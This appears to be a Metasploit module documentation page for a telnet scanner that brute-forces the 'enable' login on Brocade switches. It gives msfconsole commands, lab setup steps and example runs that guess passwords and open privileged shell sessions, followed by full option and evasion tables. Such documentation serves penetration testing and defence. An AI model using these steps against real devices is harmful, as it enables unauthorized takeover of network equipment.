Brocade Enable Login Check Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/telnet/brocade_enable_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Brocade Enable Login Check Scanner
Module: auxiliary/scanner/telnet/brocade_enable_login
Source code: modules/auxiliary/scanner/telnet/brocade_enable_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: telnet
Target network port(s): 23
List of CVEs: CVE-1999-0502
This module will test a range of Brocade network devices for a privileged logins and report successes. The device authentication mode must be set as 'aaa authentication enable default local'. Telnet authentication, e.g. 'enable telnet authentication', should not be enabled in the device configuration. This module has been tested against the following devices: ICX6450-24 SWver 07.4.00bT311, FastIron WS 624 SWver 07.2.02fT7e1
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/telnet/brocade_enable_login
msf auxiliary(brocade_enable_login) > show options
... show and set options ...
msf auxiliary(brocade_enable_login) > set RHOSTS ip-range
msf auxiliary(brocade_enable_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(brocade_enable_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(brocade_enable_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(brocade_enable_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module is a login bruteforcer against Brocade network device's enable feature.
To configure the device in a vulnerable fashion, follow these steps:
1. Set authentication mode via: aaa authentication enable default local
This module works against enable so we want to ensure telnet itself has no auth
The following should not be set: enable telnet authentication
This module has been verified against: 1. ICX6450-24 SWver 07.4.00bT311 2. FastIron WS 624 SWver 07.2.02fT7e1
An emulator is available here
Verification Steps
- Install the emulator or device
- Start msfconsole
- Do:
use auxiliary/scanner/telnet/brocade_enable_login - Create/set a password file:
set pass_file /<passwords.lst> - If desired:
set user_as_pass true - Do:
set rhosts <ip> - Do:
run - You should get a shell.
Scenarios
Example run against ICX6450-24 SWver 07.4.00bT311
msf > use auxiliary/scanner/telnet/brocade_enable_login
msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst
pass_file => /passwords.lst
msf auxiliary(brocade_enable_login) > set user_as_pass true
user_as_pass => true
msf auxiliary(brocade_enable_login) > set rhosts 192.168.50.1
rhosts => 192.168.50.1
msf auxiliary(brocade_enable_login) > run
[*] Attempting username gathering from config on 192.168.50.1
[*] Found: [email protected]
[*] Found: [email protected]
[*] Found: [email protected]
[*] Attempting username gathering from running-config on 192.168.50.1
[*] Found: [email protected]
[*] Found: [email protected]
[*] Found: [email protected]
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: admin:admin
[*] Attempting to start session 192.168.50.1:23 with admin:admin
[*] Command shell session 1 opened (192.168.50.2:57524 -> 192.168.50.1:23) at 2015-03-06 20:19:41 -0500
[-] 192.168.50.1:23 - LOGIN FAILED: read:admin (Incorrect: )
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: read:read
[*] Attempting to start session 192.168.50.1:23 with read:read
[*] Command shell session 2 opened (192.168.50.2:49223 -> 192.168.50.1:23) at 2015-03-06 20:20:32 -0500
[-] 192.168.50.1:23 - LOGIN FAILED: port:read (Incorrect: )
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: port:port
[*] Attempting to start session 192.168.50.1:23 with port:port
[*] Command shell session 3 opened (192.168.50.2:34683 -> 192.168.50.1:23) at 2015-03-06 20:21:23 -0500
[-] 192.168.50.1:23 - LOGIN FAILED: admin:port (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: admin:admin (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: admin:12345678 (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: read:port (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: read:read (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: read:12345678 (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: )
[-] 192.168.50.1:23 - LOGIN FAILED: port:12345678 (Unable to Connect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(brocade_enable_login) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell TELNET admin:admin (192.168.50.1:23) 192.168.50.2:57524 -> 192.168.50.1:23 (192.168.50.1)
2 shell TELNET read:read (192.168.50.1:23) 192.168.50.2:49223 -> 192.168.50.1:23 (192.168.50.1)
3 shell TELNET port:port (192.168.50.1:23) 192.168.50.2:34683 -> 192.168.50.1:23 (192.168.50.1)
msf auxiliary(brocade_enable_login) > session -i 1
[-] Unknown command: session.
msf auxiliary(brocade_enable_login) > sessions -i 1
[*] Starting interaction with 1...
show sessions ?
Unrecognized command
BR-telnet@FWS624 Router#show ?
802-1w Rapid Spanning tree IEEE 802.1w D10 status
aaa Show TACACS+ and RADIUS server statistics
access-list show IPv4 access-list information
acl-on-arp Show ARP ACL filtering
arp Arp table
auth-mac-addresses MAC Authentication status
batch Batch commands
boot-preference System boot preference
buffer-profile Displays active profile
cable-diagnostics Show Cable Diagnostics
chassis Power supply/fan/temperature
clock System time and date
configuration Configuration data in startup config file
cpu-utilization CPU utilization rate
debug Debug information
default System default settings
dot1x Dot1x information
errdisable Errdisable status
fdp CDP/FDP information
flash Flash memory contents
gvrp GVRP information
inline inline power information
interfaces Port status
--More--, next page: Space, next line: Return key, quit: Control-c
ip IP address setting
ipv6 IP setting
license Show license information
link-aggregate 802.3ad Link Aggregation Information
link-error-disable Link Debouncing Control
link-keepalive Link Layer Keepalive
lldp Link-Layer Discovery Protocol information
local-userdb Local User Database information
logging System log
loop-detection loop detection status & disabled ports
mac-address MAC address table
media 1Gig/10G port media type
memory System memory usage
metro-ring Metro ring protocol information
mirror Mirror ports
module Module type and status
monitor Monitor ports
mstp show MSTP (IEEE 802.1s) information
optic Optic Temperature and Power
port Show port security
priority-mapping 802.1Q tagged priority setting
processes Active process statistics
protected-link-group Show Protected Link Group Details
--More--, next page: Space, next line: Return key, quit: Control-c
ptrace Global ptrace information
qd-buffer-profile User configured buffer/descriptor profiles
qos-profiles QOS configuration
qos-tos IPv4 ToS based QoS
radius show radius server debug info
rate-limit Rate-limiting table and actions
redundancy Display management redundancy details
relative-utilization Relative utilization list
reload Scheduled system reset
reserved-vlan-map Reserved VLAN map status
rmon Rmon status
running-config Current running-config
scheduler-profile User configured scheduling profiles
sflow sFlow information
snmp SNMP statistics
sntp Show SNTP
span Spanning tree status
statistics Packet statistics
stp-bpdu-guard BPDU Guard status
stp-group Spanning Tree Group Membership
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
counters
table-mac-vlan MAC Based VLAN status
--More--, next page: Space, next line: Return key, quit: Control-c
tech-support System snap shot for tech support
telnet Telnet connection
topology-group Topology Group Membership
traffic-policy Show traffic policy definition
trunk Show trunk status
users User accounts
v6-l4-acl-sessions Show IPv6 software sessions
version System status
vlan VLAN status
vlan-group VLAN Group Membership
voice-vlan Show voice vlan
vsrp Show VSRP commands
web-connection Current web connections
webauth web authentication information
who User login
| Output modifiers
BR-telnet@FWS624 Router#
Example run against emulator mentioned above:
msf > use auxiliary/scanner/telnet/brocade_enable_login
msf auxiliary(brocade_enable_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(brocade_enable_login) > set user_as_pass true
user_as_pass => true
msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst
pass_file => /passwords.lst
msf auxiliary(brocade_enable_login) > run
[*] Attempting username gathering from config on 127.0.0.1
[*] Found: [email protected]
[*] Found: [email protected]
[*] Found: [email protected]
[*] Attempting username gathering from running-config on 127.0.0.1
[*] Found: [email protected]
[-] 127.0.0.1:23 - LOGIN FAILED: username:username (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: username:12345678 (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: username:123456 (Incorrect: )
[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: username:password
[*] Attempting to start session 127.0.0.1:23 with username:password
[*] Command shell session 1 opened (127.0.0.1:60089 -> 127.0.0.1:23) at 2015-03-06 20:05:57 -0500
[-] 127.0.0.1:23 - LOGIN FAILED: ttrogdon:password (Incorrect: )
[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: ttrogdon:ttrogdon
[*] Attempting to start session 127.0.0.1:23 with ttrogdon:ttrogdon
[*] Command shell session 2 opened (127.0.0.1:33204 -> 127.0.0.1:23) at 2015-03-06 20:06:47 -0500
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ttrogdon (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:dmudd (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:12345678 (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:123456 (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:password (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:passwords (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ports (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:admin (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:read (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ttrogdon (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:TopDogUser (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:12345678 (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:123456 (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:password (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:passwords (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ports (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:admin (Incorrect: )
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:read (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(brocade_enable_login) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell TELNET username:password (127.0.0.1:23) 127.0.0.1:60089 -> 127.0.0.1:23 (127.0.0.1)
2 shell TELNET ttrogdon:ttrogdon (127.0.0.1:23) 127.0.0.1:33204 -> 127.0.0.1:23 (127.0.0.1)
msf auxiliary(brocade_enable_login) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/telnet/brocade_enable_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/telnet/brocade_enable_login
msf6 auxiliary(scanner/telnet/brocade_enable_login) > show info
Name: Brocade Enable Login Check Scanner
Module: auxiliary/scanner/telnet/brocade_enable_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
h00die <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
GET_USERNAMES_FROM_CONFIG true no Pull usernames from config and running config
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module will test a range of Brocade network devices for a
privileged logins and report successes. The device authentication
mode must be set as 'aaa authentication enable default local'.
Telnet authentication, e.g. 'enable telnet authentication', should
not be enabled in the device configuration. This module has been
tested against the following devices: ICX6450-24 SWver 07.4.00bT311,
FastIron WS 624 SWver 07.2.02fT7e1
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the scanner/telnet/brocade_enable_login auxiliary module:
msf6 auxiliary(scanner/telnet/brocade_enable_login) > show options
Module options (auxiliary/scanner/telnet/brocade_enable_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
GET_USERNAMES_FROM_CONFIG true no Pull usernames from config and running config
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/telnet/brocade_enable_login auxiliary module:
msf6 auxiliary(scanner/telnet/brocade_enable_login) > show advanced
Module advanced options (auxiliary/scanner/telnet/brocade_enable_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CHOST no The local client address
CPORT no The local client port
CommandShellCleanupCommand no A command to run before the session is closed
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.
2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
TelnetBannerTimeout 25 yes The number of seconds to wait for the initial banner
TelnetTimeout 10 yes The number of seconds to wait for a reply from a Telnet command
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/telnet/brocade_enable_login module can do:
msf6 auxiliary(scanner/telnet/brocade_enable_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/telnet/brocade_enable_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/telnet/brocade_enable_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)
Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)" error message:
130: create_credential_login(credential_data)
131: print_good("#{ip}:#{rport} - Login Successful: #{result.credential}")
132: start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
133: else
134: invalidate_login(credential_data)
135: print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
136: end
137: end
138: end
139: end
140:
Go back to menu.
Related Pull Requests
- #12022 Merged Pull Request: Deregister PASSWORD_SPRAY option for LoginScanner modules
- #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6014 Merged Pull Request: Related to #4803, Update LoginScanner modules to have into account TCP advanced options
- #5307 Merged Pull Request: Resurrect Brocade login scanner from #4888
- #4888 Merged Pull Request: Brocade enable command credential bruteforcer
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/networking/brocade_config
- auxiliary/scanner/snmp/brocade_enumhash
- post/networking/gather/enum_brocade
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- auxiliary/scanner/telnet/satel_cmd_exec
- auxiliary/scanner/telnet/telnet_encrypt_overflow
- auxiliary/scanner/telnet/telnet_ruggedcom
- auxiliary/scanner/telnet/telnet_version
- exploit/dialup/multi/login/manyargs
Related Nessus plugins:
- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
- Unpassworded 'lp' Account
- Unpassworded 'sync' Account
Authors
h00die <mike[at]shorebreaksecurity.com>
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
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